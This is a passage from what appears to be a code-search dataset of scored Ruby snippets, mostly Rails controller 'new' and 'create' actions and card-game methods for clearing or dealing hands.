"docid": "f607a29fca4bdaba2f3d8a9682e0bd05", "score": "0.66967726", "text": "def new\n @bid = Bid.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bid }\n end\n end", "title": "" }, { "docid": "3b8219d7807b2ee641b654413a28ffb5", "score": "0.6690674", "text": "def new\n @bloom = Bloom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bloom }\n end\n end", "title": "" }, { "docid": "31e5821f35cc5ea78180f77244f5809d", "score": "0.66845655", "text": "def new\n @bcard = Bcard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bcard }\n end\n end", "title": "" }, { "docid": "f3986c0716433f2acce897548f048c89", "score": "0.66825676", "text": "def new\n @kb = Kb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @kb }\n end\n end", "title": "" }, { "docid": "603fcb66006a5d5d6d8adf7d5164f501", "score": "0.6677851", "text": "def new\n @image = Image.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @image }\n end\n end", "title": "" }, { "docid": "b5f14b6f57e688dcd28f029ec13c8b31", "score": "0.6666153", "text": "def new\n @picture = Picture.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @picture }\n end\n end", "title": "" }, { "docid": "b5f14b6f57e688dcd28f029ec13c8b31", "score": "0.6666153", "text": "def new\n @picture = Picture.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @picture }\n end\n end", "title": "" }, { "docid": "b5f14b6f57e688dcd28f029ec13c8b31", "score": "0.6666153", "text": "def new\n @picture = Picture.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @picture }\n end\n end", "title": "" }, { "docid": "f4be07cc70ef86ecd5e8319221af7adb", "score": "0.6658329", "text": "def new\n @bizcard = Bizcard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bizcard }\n end\n end", "title": "" }, { "docid": "e741026f62f34ce1867c81dbc510c915", "score": "0.6641894", "text": "def new\n @baby_pic = BabyPic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @baby_pic }\n end\n end", "title": "" }, { "docid": "1c7e9dfb332f18c3e06be550ef911c60", "score": "0.66361517", "text": "def new\n @image = Image.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @image }\n end\n end", "title": "" }, { "docid": "73594ca3711b51ce61366e73230b6b68", "score": "0.6619076", "text": "def create\n @bank = Bank.new(params[:bank])\n\n respond_to do |format|\n if @bank.save\n format.html { redirect_to @bank, notice: 'Bank was successfully created.' }\n format.json { render json: @bank, status: :created }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bank.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4364103cfef6b06437e89c58fa29d575", "score": "0.6612673", "text": "def new\n @bruschettum = Bruschettum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bruschettum }\n end\n end", "title": "" }, { "docid": "7bfc9fece2135d98e82ab4c64fb1868f", "score": "0.66063076", "text": "def new\n @bokin = Bokin.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @bokin }\n end\n end", "title": "" }, { "docid": "e2ab68ed45b5c8a4f35923ef1728c03b", "score": "0.6588952", "text": "def new\n @memberimage = Memberimage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @memberimage }\n end\n end", "title": "" }, { "docid": "df95abeb7c4e7652c35b7a748d488ec9", "score": "0.6580915", "text": "def create\n @bank = Bank.new(bank_params)\n @bank.user_created_id = current_user.id\n respond_to do |format|\n if @bank.save\n format.html { redirect_to banks_path, notice: I18n.t('banks.controller.create') }\n format.json { render :show, status: :created, location: @bank }\n else\n format.html { render :new }\n format.json { render json: @bank.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "372a8fe9232421d8709fa0752f89ec04", "score": "0.65774965", "text": "def new\n @baggage = Baggage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @baggage }\n end\n end", "title": "" }, { "docid": "eb0bc34bdff5bc8d8b814fc6f0bedc64", "score": "0.65770286", "text": "def new\n @star_branch = Star::Branch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @star_branch }\n end\n end", "title": "" }, { "docid": "49402bbc48d58ef26442a10901326072", "score": "0.65684056", "text": "def new\n @image_member = ImageMember.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image_member }\n end\n end", "title": "" }, { "docid": "a2d2d558cd0025fd14144a51493c30e5", "score": "0.6559234", "text": "def new\n @banner_img = BannerImg.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @banner_img }\n end\n end", "title": "" }, { "docid": "02f27b9b7abf1f5b43f2c093ff9c0aa0", "score": "0.65586424", "text": "def new\n @boat = Boat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json {render json: @boat}\n end\n end", "title": "" }, { "docid": "50b8e2b15485b8207894f82d919082ee", "score": "0.65504456", "text": "def new\n @picture = Picture.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json=>@picture}\n end\n end", "title": "" }, { "docid": "5b8c8fc7bea1f45db055e7006a8c31a3", "score": "0.6550142", "text": "def new\n @borrow = Borrow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @borrow }\n end\n end", "title": "" }, { "docid": "bab291eae0acce2d30b09f9f342acece", "score": "0.65417594", "text": "def new\n @bp_pic_group = BpPicGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bp_pic_group }\n end\n end", "title": "" }, { "docid": "e323afa92b8b6076b26a419420109261", "score": "0.65399116", "text": "def new\n @banking_detail = BankingDetail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @banking_detail }\n end\n end", "title": "" }, { "docid": "6ae2e1fb914e30002739d6baf4665f0e", "score": "0.6538212", "text": "def new\n @pin = current_user.pins.new\n @items_types = ITEM_TYPE_LIST\n @brands = Brand.find(:all, :order => \"name\")\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pin }\n end\n end", "title": "" }, { "docid": "a75408e24706b0982b06232a4c5181cf", "score": "0.6531308", "text": "def new\n @slab = Slab.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @slab }\n end\n end", "title": "" }, { "docid": "e9916d975c54f2be2f9a3d8e00e249ac", "score": "0.65088105", "text": "def new\n @brend = Brend.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @brend }\n end\n end", "title": "" }, { "docid": "478b575b99c79a37de10f4344b16221a", "score": "0.64933175", "text": "def new\n @pinimage = Pinimage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pinimage }\n end\n end", "title": "" }, { "docid": "c90ba5b87f3c115126236205ef5bc52e", "score": "0.64925164", "text": "def new\n @image_upload = ImageUpload.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image_upload }\n end\n end", "title": "" }, { "docid": "01a4e4c3d05de25ea1fce8d31f4dbc34", "score": "0.64777815", "text": "def new\n @image_url = ImageUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image_url }\n end\n end", "title": "" }, { "docid": "6d59ba98ddbb6945364567111beeaa0b", "score": "0.6464367", "text": "def new\n @brandlist = Brandlist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @brandlist }\n end\n end", "title": "" }, { "docid": "da661e3632089aa702a1e84e85dfa889", "score": "0.6462913", "text": "def new\n @climb = Climb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @climb }\n end\n end", "title": "" }, { "docid": "ab4b60ba220c3902c7ee4dceef108fd0", "score": "0.6455695", "text": "def new\n @flavours = @provider.get_flavors\n puts \"getting the flavors #{@flavours.inspect}\"\n @images = @provider.get_images\n puts \"getting the flavors #{@images.inspect}\"\n @instance = @provider.instances.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @instance }\n end\n end", "title": "" }, { "docid": "7b8666f31e1adf10a4be0a3d65b40f03", "score": "0.6454943", "text": "def new\n @baton = Baton.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @baton }\n end\n end", "title": "" }, { "docid": "24c04661d5ba79f397174909956adfbc", "score": "0.64489543", "text": "def new\n @bill = Bill.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bill }\n end\n end", "title": "" }, { "docid": "24c04661d5ba79f397174909956adfbc", "score": "0.64489543", "text": "def new\n @bill = Bill.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bill }\n end\n end", "title": "" }, { "docid": "1f9b75dd3ff4be3d4d0bec6162793460", "score": "0.643974", "text": "def new\n @bank_account_operation = BankAccountOperation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bank_account_operation }\n end\n end", "title": "" }, { "docid": "5f9a05dcb5316c895e31701e413aae0f", "score": "0.6437249", "text": "def new\n @pictures_of_cat = PicturesOfCat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pictures_of_cat }\n end\n end", "title": "" }, { "docid": "c317ae000ad433a772237c6ec4f51017", "score": "0.6428676", "text": "def new\n @photo = @allbum.photos.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "title": "" }, { "docid": "c24401b9e3db61ac4f3602e75bb3c76c", "score": "0.6427117", "text": "def new\n @album_owned = AlbumOwned.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @album_owned }\n end\n end", "title": "" }, { "docid": "b80b2a032e40365bd678516cb2d60905", "score": "0.6424701", "text": "def new\r\n @car_image = CarImage.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @car_image }\r\n end\r\n end", "title": "" }, { "docid": "f09b2f6864a0f54b9ec17d458f4acf31", "score": "0.6423992", "text": "def new\n @rainbow = Rainbow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @rainbow }\n end\n end", "title": "" }, { "docid": "f50a91aa605abfa5b8700d65f5b60548", "score": "0.64190525", "text": "def create\n @bwimage = Bwimage.new(params[:bwimage])\n\n respond_to do |format|\n if @bwimage.save\n format.html { redirect_to @bwimage, notice: 'Bwimage was successfully created.' }\n format.json { render json: @bwimage, status: :created, location: @bwimage }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bwimage.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0c28634af556d56428bdf0e4ff5ce224", "score": "0.6418627", "text": "def new\n @barrack = Barrack.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @barrack }\n end\n end", "title": "" }, { "docid": "dff94c2056c717f85d8bf62b2e79b821", "score": "0.64182526", "text": "def new\n @barcode_list = BarcodeList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @barcode }\n end\n end", "title": "" }, { "docid": "8bb41100b20b67ced367e683c3b8ce02", "score": "0.6406591", "text": "def new\n @broad = Broad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @broad }\n end\n end", "title": "" }, { "docid": "23217d1942369cd60ed2ad80245daeeb", "score": "0.6406143", "text": "def new\n @image_datum = ImageDatum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image_datum }\n end\n end", "title": "" }, { "docid": "4a79af84e361fc21ca730d3b688d9fa8", "score": "0.6405517", "text": "def new\n @fridge = Fridge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fridge }\n end\n end", "title": "" }, { "docid": "4f0c84f4c24f99e6d387cd21108dc94b", "score": "0.6402204", "text": "def new\n @borc = Borc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @borc }\n end\n end", "title": "" }, { "docid": "2cc1d4b11aa942e7266939b9c43e1c3b", "score": "0.64001864", "text": "def new\n @billcategory = Billcategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @billcategory }\n end\n end", "title": "" }, { "docid": "a8955e10b71911b702dbf72905ceb5f5", "score": "0.6395958", "text": "def create\n respond_to do |format|\n if @bank.save\n format.html { redirect_to @bank, notice: 'Bank was successfully created.' }\n format.json { render :show, status: :created, location: @bank }\n else\n format.html { render :new }\n format.json { render json: @bank.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "de961f2a8d7f5ad6de77031964424d52", "score": "0.6395797", "text": "def new\n @region = Region.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @region }\n end\n end", "title": "" }, { "docid": "6ba0b723c5e6b0dd40539522f471cf2e", "score": "0.6389007", "text": "def new\r\n @bill = Bill.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @bill }\r\n end\r\n end", "title": "" }, { "docid": "0acb53ae1f3cc15c710afcfdbc1f3661", "score": "0.638024", "text": "def create\n @breadcrumb = 'create'\n @bank = Bank.new(params[:bank])\n @bank.created_by = current_user.id if !current_user.nil?\n \n respond_to do |format|\n if @bank.save\n format.html { redirect_to @bank, notice: crud_notice('created', @bank) }\n format.json { render json: @bank, status: :created, location: @bank }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bank.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7c076309d3c46a3400fcaaa6720da428", "score": "0.6376274", "text": "def new\n @bid = Bid.new\n @item = Item.find(params[:id])\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bid }\n end\n end", "title": "" }, { "docid": "4616a64e6fb5f8da117eeb6cf0778d9a", "score": "0.63724446", "text": "def new\n @breed = Breed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @breed }\n end\n end", "title": "" }, { "docid": "afd58ae0b33333d3757818d720a1c956", "score": "0.63685083", "text": "def new\n @bike = Bike.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bike }\n end\n end", "title": "" }, { "docid": "854b08050036a06aee57839b00c70e54", "score": "0.63663334", "text": "def new\n @bet = Bet.new(:odd_inflation => 10, :bid_amount => 1)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bet }\n end\n end", "title": "" }, { "docid": "2d4a8ae2040656711fe4f6b1b5dc0a33", "score": "0.63647157", "text": "def new\n @neighborhood = Neighborhood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @neighborhood }\n end\n end", "title": "" }, { "docid": "2d4a8ae2040656711fe4f6b1b5dc0a33", "score": "0.63647157", "text": "def new\n @neighborhood = Neighborhood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @neighborhood }\n end\n end", "title": "" }, { "docid": "c477fa1a56b922809f0a3f6d87ff7041", "score": "0.6360965", "text": "def new\n @b = B.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @b }\n end\n end", "title": "" }, { "docid": "725018919963daf61853fdea7a915a6d", "score": "0.63584757", "text": "def new\n @photo_library = PhotoLibrary.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo_library }\n end\n end", "title": "" }, { "docid": "756acc3361fa71e23d75c4c415ec5c45", "score": "0.6357098", "text": "def new\n @mib = Mib.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mib }\n end\n end", "title": "" }, { "docid": "7fb439646e0135b0c3386ea2686de160", "score": "0.6353931", "text": "def new\n @bitacora = Bitacora.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bitacora }\n end\n end", "title": "" }, { "docid": "31bb2eb7922f716f3aaf7963206a4f86", "score": "0.6350008", "text": "def new\n @biachecklist = Biachecklist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @biachecklist }\n end\n end", "title": "" }, { "docid": "479d80564713fe7e2d820f1158cc3cc1", "score": "0.63489515", "text": "def new\n @inkcatagory = Inkcatagory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @inkcatagory }\n end\n end", "title": "" }, { "docid": "0175623b6262474118e33c611e999ddd", "score": "0.6344744", "text": "def new\n @pic = Pic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pic }\n end\n end", "title": "" }, { "docid": "e95275e29546b2185a7326c2d3c430ba", "score": "0.6340884", "text": "def new\n @album = Album.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @album }\n end\n end", "title": "" }, { "docid": "e95275e29546b2185a7326c2d3c430ba", "score": "0.6340884", "text": "def new\n @album = Album.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @album }\n end\n end", "title": "" }, { "docid": "e2f7968ed92ecc6537a268190c897b3e", "score": "0.6336864", "text": "def new\n get_projects\n\n\n @breadcrumb = 'create'\n @billable_item = BillableItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @billable_item }\n end\n end", "title": "" }, { "docid": "9a7002f579306b0bc3b40f34f433635c", "score": "0.6333774", "text": "def new\n @questionbank = Questionbank.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @questionbank }\n end\n end", "title": "" }, { "docid": "b0193c85935f0a7de9e82a9ed4341eca", "score": "0.6333632", "text": "def new\n @blacklist = Blacklist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @blacklist }\n end\n end", "title": "" }, { "docid": "49d993cee7fdacd789fc202542ac800d", "score": "0.6332099", "text": "def new\n @brewery = Brewery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @brewery }\n end\n end", "title": "" }, { "docid": "21178c4eb38d80049a1cac509bb534e8", "score": "0.63237554", "text": "def new\n @brag = Brag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @brag }\n end\n end", "title": "" }, { "docid": "cbcc3bdba1fe257cc9445b5dab8288f6", "score": "0.63218886", "text": "def new\n @category_image = CategoryImage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category_image }\n end\n end", "title": "" }, { "docid": "a65d595891f19579dbc3558389bd21f9", "score": "0.6319178", "text": "def new\n @sound_file = SoundFile.new\n @bank = Bank.find(params[:bank_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sound_file }\n end\n end", "title": "" } ]
d7c6512eea535791e4d095f74d0c280e
the method is used to clear four cards of the same kind from the hand
[ { "docid": "687d35d11efaad680d3c5ae29037632d", "score": "0.83136976", "text": "def clear_four_of_a_kind\n @hand.cards.delete(nil)\t\n if(@hand.cards.size > 0)\n grouped_by_rank = @hand.cards.group_by {|card| card.rank}\n four_of_rank_hash = grouped_by_rank.select {|key, value| value.size == 4}\n four_of_rank_keys = []\n\t four_of_rank_hash.map{|key,value| four_of_rank_keys << key}\n\t \n four_of_rank_keys.each { |rank|\n\t @hand.cards.each { |card| @cleared_cards<< card if card.rank == rank }\n @hand.cards.delete_if{|card| card.rank == rank}\n\t }\n\tend\n end", "title": "" } ]
[ { "docid": "ddde6797ebf66f11268f3fe2c9666749", "score": "0.7917831", "text": "def clear_hand\n self.cards_held = []\n end", "title": "" }, { "docid": "87d1c8a8c9c06c03b29af00e8eb3fb0c", "score": "0.7842172", "text": "def clear_hand\n @hand_cards.clear\n @points = 0\n end", "title": "" }, { "docid": "466f45f592b9d8d412cf2a30505a4576", "score": "0.7723862", "text": "def clear\n @cards.clear\n end", "title": "" }, { "docid": "1c7b41399400d98bdbffdee361de6c56", "score": "0.76595867", "text": "def clear()\r\n\t\[email protected]\r\n\tend", "title": "" }, { "docid": "9e7dcf882577c5399e44df5519bf5696", "score": "0.7647342", "text": "def handreset\n @cards = Array.new\n end", "title": "" }, { "docid": "898af1f14fd7ea71afbb418554651d57", "score": "0.753721", "text": "def reset!\n @cards = []\n end", "title": "" }, { "docid": "6e4add025ea9b96e4a925d032258d868", "score": "0.7531641", "text": "def clear_hand\n\t\t@hand = []\n\tend", "title": "" }, { "docid": "fcfb654042eb1d4b86b6ce22f02b7d8e", "score": "0.7480158", "text": "def clear_hand\n @hand.clear_hand\n end", "title": "" }, { "docid": "56dde43b30a5f9da01f2552d53aaa9d8", "score": "0.7474986", "text": "def reset\n @deck.clear\n @hand.clear\n @play_area.clear\n @discard.clear\n @deck = @starting_cards.dup\n end", "title": "" }, { "docid": "538222aeae4b958ed359707fa28a3439", "score": "0.7420544", "text": "def reset_hands\n allcards = []\n @hands.each { |h| h.size.times { |i| allcards << h[i] } }\n @hands = [ Hand.new ]\n @bets.clear \n @surrended.clear\n return allcards# flat array of cards\n end", "title": "" }, { "docid": "d0a49017dfacb99cacdadcf0b9cb3e8c", "score": "0.7366098", "text": "def discard_cards(cards)\n\n end", "title": "" }, { "docid": "c795818abf9bab20fc3810496b14ab58", "score": "0.7362698", "text": "def reset!\n self.hand = []\n self.tricks_won = []\n self.blind = []\n self.is_partner = false\n self.is_picker = false\n end", "title": "" }, { "docid": "66532f85b2f4ccb3929dd466f5d98ba5", "score": "0.7353555", "text": "def clear_hands\n @players.each{ |player|\n player.clear_all_hands\n }\n @dealer.clear_hand\n end", "title": "" }, { "docid": "c84e985bd706a760d07b0534e53dd63f", "score": "0.72775185", "text": "def deal_card\n of_cards.delete(of_cards.sample)\n end", "title": "" }, { "docid": "3478e4e25db2ca13f037974942003a5d", "score": "0.7261792", "text": "def clear\n @cards = Array.new @initial_board_size\n end", "title": "" }, { "docid": "cc4c022f69e5c75d59fc0a1a9708b90c", "score": "0.7248268", "text": "def clearHand\n\t\t@hands = [Hand.new]\n\tend", "title": "" }, { "docid": "34e2aa35fba3a9af063d7a753b361a68", "score": "0.7199749", "text": "def reset()\n # add all the delt cards back into the deck\n @cards.concat(@delt)\n shuffle()\n end", "title": "" }, { "docid": "1bd23a88f3f9aa99e860a6d7c277105e", "score": "0.7173944", "text": "def resetHand()\r\n @cards = Array.new()\r\n @score = 0\r\n end", "title": "" }, { "docid": "c8dc56897dd1a003880fc50ddc913961", "score": "0.71399486", "text": "def reset\n @cards = RANKS.product(SUITS).map do |rank, suit| \n Card.new(rank, suit)\n end\n\n cards.shuffle\n end", "title": "" }, { "docid": "d8fb67fb715af9e29fac92391b6b2e5e", "score": "0.70929915", "text": "def reset\n\t\t\t@drawnCards = []\n\t\tend", "title": "" }, { "docid": "851b3e6e702bbba05b753a4c3f791476", "score": "0.7064169", "text": "def clear_board\n index=0\n while index<18\n @array_of_cards[index]=nil\n index+=1\n end\n @number_of_cards=0\n end", "title": "" }, { "docid": "ef5852c685f804466b3b44614fe712cd", "score": "0.70553595", "text": "def reset_cards\n self.deck = Deck.new\n players.each { |player| player.reset_cards }\n end", "title": "" }, { "docid": "da0057566d56026c389f4cf73d0c12fa", "score": "0.7008847", "text": "def clear_deck(player)\n player[:hand] = []\n player[:total] = 0\n player[:busted] = false\nend", "title": "" }, { "docid": "dbff8df308f77e2153448cfc81c5022e", "score": "0.69951993", "text": "def reset_cards\n\t\t\tunless @pooled_cards.empty?\n\t\t\t\traise StandardError.new(\"pooled card isn't empty.\")\n\t\t\tend\n\t\t\t@pooled_cards = @used_cards.shuffle\n\t\t\t@used_cards = @used_cards.clear\n\t\tend", "title": "" }, { "docid": "6ef9938470819be323750edb858ba148", "score": "0.697682", "text": "def clear_hands\n @hands.clear\n end", "title": "" }, { "docid": "4486c5f35b5db9b9fd2213571dda13a9", "score": "0.69482505", "text": "def clearHands\n @hands.clear\n end", "title": "" }, { "docid": "fd39037be823607c50d525f69b98db10", "score": "0.69291854", "text": "def combine_cards\n discard_hand\n reshuffle\n end", "title": "" }, { "docid": "44b77e1d5fe12c82c82941810626f90b", "score": "0.6921168", "text": "def discard_hand\n @bet = nil\n @hand = []\n end", "title": "" }, { "docid": "ebc6d06f30bc9bce69a1fb9b622567bb", "score": "0.69181734", "text": "def clear_hand\n if (@hand)\n @hand = nil\n end\n end", "title": "" }, { "docid": "2919289a7e3e725ac53329e305433382", "score": "0.6915034", "text": "def deal_card!(dck, hand)\n card = []\n card = dck.sample\n hand << card\n dck.delete(card)\nend", "title": "" }, { "docid": "73abdf628c73f62a97c8be47af64bd80", "score": "0.69043934", "text": "def reset_deck_to_clean()\n\t\t\t# Reset (puts everything back into the @deck, empties out the @discard\n\t\t\t# stack)\n\t\t\t_reset!()\n\n\t\t\t# Remove all the 'remove' cards from the deck\n\t\t\[email protected]!() { |c| !c[:remove] }\n\t\tend", "title": "" }, { "docid": "9615f3b7c9a6d287510925af09c74dc1", "score": "0.68993", "text": "def deal(hand, dck, cards=1)\n # select random cards\n cards.times do\n card = dck.sample\n dck.delete_at(dck.index(card))\n hand << card\n end\n hand\nend", "title": "" }, { "docid": "80c1284840fafb467328917a82860213", "score": "0.68803024", "text": "def reset_deck_unsuited(deck)\n deck << CARD_VALUES.split(\", \")\n deck * 4 * NUMBER_OF_DECKS\n deck.flatten!.shuffle!\nend", "title": "" }, { "docid": "e05612de5964984996bf0908586864dc", "score": "0.68709064", "text": "def deal_card!(card_list, hand)\n hand << card_list.delete_at(rand(card_list.length))\nend", "title": "" }, { "docid": "e814101cfde6eed5658386218329d835", "score": "0.6866817", "text": "def combine_cards\n discard_hand\n reshuffle\n end", "title": "" }, { "docid": "838532d9b945ed5c5b284c485f070808", "score": "0.6859095", "text": "def remove_cards_from_player\n if type == :basic\n player2.deck.remove_card\n player1.deck.remove_card\n elsif type == :war || :mutually_assured_destruction\n 3.times do\n player2.deck.remove_card\n player1.deck.remove_card\n end\n end\n end", "title": "" }, { "docid": "82fc600ca2480148dc7daaf67b1f4265", "score": "0.68505216", "text": "def deal\n @cards.delete_at 0\n end", "title": "" }, { "docid": "d0e7725ee6ece82e3408c7b24407ed3a", "score": "0.6850304", "text": "def reset\n @cardpairs = Matrix.build(CARDS.length, CARDS.length) { [] }\n end", "title": "" }, { "docid": "36f5147c8ef18fb6edb16e968694ffa5", "score": "0.68212825", "text": "def removeCards\n\t\[email protected] do |tableIndex|\n\t\t\t@table[tableIndex - 1] = nil\n\t\tend\n\t\[email protected]!\n\tend", "title": "" }, { "docid": "32f0072207b8e97f6d8b021874942ce5", "score": "0.68170434", "text": "def reset_hand\n\t\t\[email protected]\n\t\t\tHelpers::alert_menu(\"You have emptied your hand.\")\n\t\t\tgets\n\t\tend", "title": "" }, { "docid": "bee5a57cd60ee258a86f32597c9fefd9", "score": "0.6816713", "text": "def deal_cards!(hand, deck)\n card = nil\n if hand.empty?\n 2.times do\n card = deck.sample\n deck.delete(card)\n hand << card\n end\n else\n card = deck.sample\n deck.delete(card)\n hand << card\n end\nend", "title": "" }, { "docid": "5dd5c69ddfe4ec6d52156b3132d62055", "score": "0.6810784", "text": "def comp_draw\n\t@c_draw = @deck.sample\n @deck.delete(@c_draw)\n\t@c_hand = @c_hand + @c_draw\n player_draw\nend", "title": "" }, { "docid": "12845c3f2074dc5471bade10016cd8b0", "score": "0.6808913", "text": "def discard_card(card)\n hand.delete card\n discard.unshift card\n end", "title": "" }, { "docid": "b961e17b4514a16569a12aaa2178d65e", "score": "0.6800587", "text": "def discard_hands\n discard = @hands\n @hands = []\n discard.inject([]){ |cards, h| cards + h.cards }\n end", "title": "" }, { "docid": "5168fc2f7366598d7be2daf2d7a159f6", "score": "0.67851084", "text": "def initialize\n\t\t@deck = []\n\t\tSUITS.each do |suit|\n\t\t\t(RANKS.size).times do |i|\n\t\t\t\[email protected](Card.new(RANKS[i], suit, (i+1)))\n\t\t\tend\n @hand = []\n @discard = []\n end\n\n #o Author: Vincent Ball\n #o Purpose: check if two cards have same suit\n #o Outputs: true or false\n def same_suit?\n @deck.all? { |s| s.suit == @deck.first.suit }\n end\n\n #o Author: Vincent Ball\n #o Purpose: check if two cards have same value\n #o Outputs: true or false\n def same_value?\n @deck.all? { |a| a.value == @deck.first.value }\n end\n\n #o Author: Vincent Ball\n #o Purpose: check if two cards have same suit, different try\n def remove2?\n if @hand.at(@hand.length - 4).suit == @hand.at(@hand.length - 1).suit\n @hand.delete_at(@hand.length - 2)\n @hand.delete_at(@hand.length - 3)\n draw(2)\n else\n draw(1)\n end\n end\n\n #o Author: Vincent Ball\n #o Purpose: check if two cards have same value a different way\n #o Outputs: true or false\n def remove4?\n if @hand.at(@hand.length - 4).value == @hand.at(@hand.length - 1).value\n @hand.delete_at(@hand.length - 1)\n @hand.delete_at(@hand.length - 2)\n @hand.delete_at(@hand.length - 3)\n @hand.delete_at(@hand.length - 4)\n draw(4)\n else\n draw(1)\n end\n end\n\n #o Author: Vincent Ball\n #o Purpose: shuffle deck\n\tdef shuffle\n\t\[email protected]!\n\tend\n\n #o Author: Vincent Ball\n #o Purpose: display deck\n #o Outputs: deck\n def display_deck\n puts \"Current deck:\"\n puts @deck\n end\n\n #o Author: Vincent Ball\n #o Purpose: display hand\n #o Outputs: hand\n def display_hand\n puts \"Your hand:\"\n puts @hand\n end\n\n #o Author: Vincent Ball\n #o Purpose: draw cards from deck\n #o Inputs: number_of_cards\n #o Outputs: cards drawn\n def draw(number_of_cards = 1)\n @hand.push(@deck.pop(number_of_cards))\n\n puts @hand.at(@hand.length - 4)\n puts @hand.at(@hand.length - 3)\n puts @hand.at(@hand.length - 2)\n puts @hand.at(@hand.length - 1)\n end\n\n #o Author: Vincent Ball\n #o Purpose: plays game\n #o Outputs: current hand\n def playGame\n score = 0\n deck = Deck.new\n deck.shuffle\n deck.shuffle\n deck.draw(4)\n\n #Tried, but doesn't work\n #deck.remove2?\n #deck.remove4?\n puts \"Cards remaining in deck: #{deck.remaining}\"\n puts \"\\n\"\n\n while deck.remaining > 0\n cmd = gets\n if cmd.include? \"D\"\n puts deck.display_deck\n elsif cmd.include? \"A\"\n puts deck.display_hand\n elsif cmd.include? \"X\"\n puts \"Exiting game...\"\n exit\n elsif cmd.include? \"L\"\n file = File.open(\"Leaders.txt\", 'r')\n while !file.eof?\n line = file.readline\n puts line\n end\n elsif 